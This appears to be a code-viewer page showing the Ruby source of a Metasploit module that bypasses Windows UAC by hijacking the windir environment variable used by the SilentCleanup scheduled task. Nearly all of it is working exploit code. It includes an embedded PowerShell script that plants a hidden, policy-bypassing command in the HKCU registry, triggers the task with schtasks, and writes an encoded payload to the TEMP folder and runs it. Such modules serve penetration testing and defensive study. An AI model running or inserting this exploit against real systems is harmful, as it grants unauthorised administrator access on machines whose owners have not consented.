Path: blob/master/modules/exploits/windows/local/bypassuac_silentcleanup.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::Powershell9include Msf::Post::Windows::Priv10include Msf::Post::File11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',18'Description' => %q{19There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.20When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,21%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.22},23'License' => MSF_LICENSE,24'Author' => [25'tyranid', # Discovery26'enigma0x3', # Discovery27'nyshone69', # Discovery28'lokiuox', # PSH script29'Carter Brainerd (cbrnrd)' # Metasploit Module30],31'Platform' => ['win'],32'SessionTypes' => ['meterpreter', 'shell'],33'Arch' => [ARCH_X86, ARCH_X64],34'Targets' => [['Microsoft Windows', {}]],35'DisclosureDate' => '2019-02-24',36'References' => [37['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],38['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],39['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],40['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']41],42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),53OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])54]55)56end5758def get_bypass_script(cmd)59scr = %Q{60if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {61$env:windir = [System.Environment]::GetEnvironmentVariable("windir", "machine")62#{cmd}63} else {64$registryPath = "HKCU:\\Environment"65$Name = "windir"66$Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"67Set-ItemProperty -Path $registryPath -Name $name -Value $Value68#Depending on the performance of the machine, some sleep time may be required before or after schtasks69Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}70schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null71Remove-ItemProperty -Path $registryPath -Name $name72}73}74vprint_status(scr)75scr76end7778def exploit79check_permissions8081e_vars = get_envs('TEMP')82payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"8384# Write it to disk, run, delete85upload_payload_ps1(payload_fp)86vprint_good("Payload uploaded to #{payload_fp}")8788cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")89end9091def check_permissions92# Check if you are an admin93case is_in_admin_group?94when nil95print_error('Either whoami is not there or failed to execute')96print_error('Continuing under assumption you already checked...')97when true98print_good('Part of Administrators group! Continuing...')99when false100fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')101end102103if get_integrity_level == INTEGRITY_LEVEL_SID[:low]104fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')105end106end107108def upload_payload_ps1(filepath)109pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)110begin111vprint_status('Uploading payload PS1...')112write_file(filepath, get_bypass_script(pld))113register_file_for_cleanup(filepath)114rescue Rex::Post::Meterpreter::RequestError => e115fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")116end117end118end119120121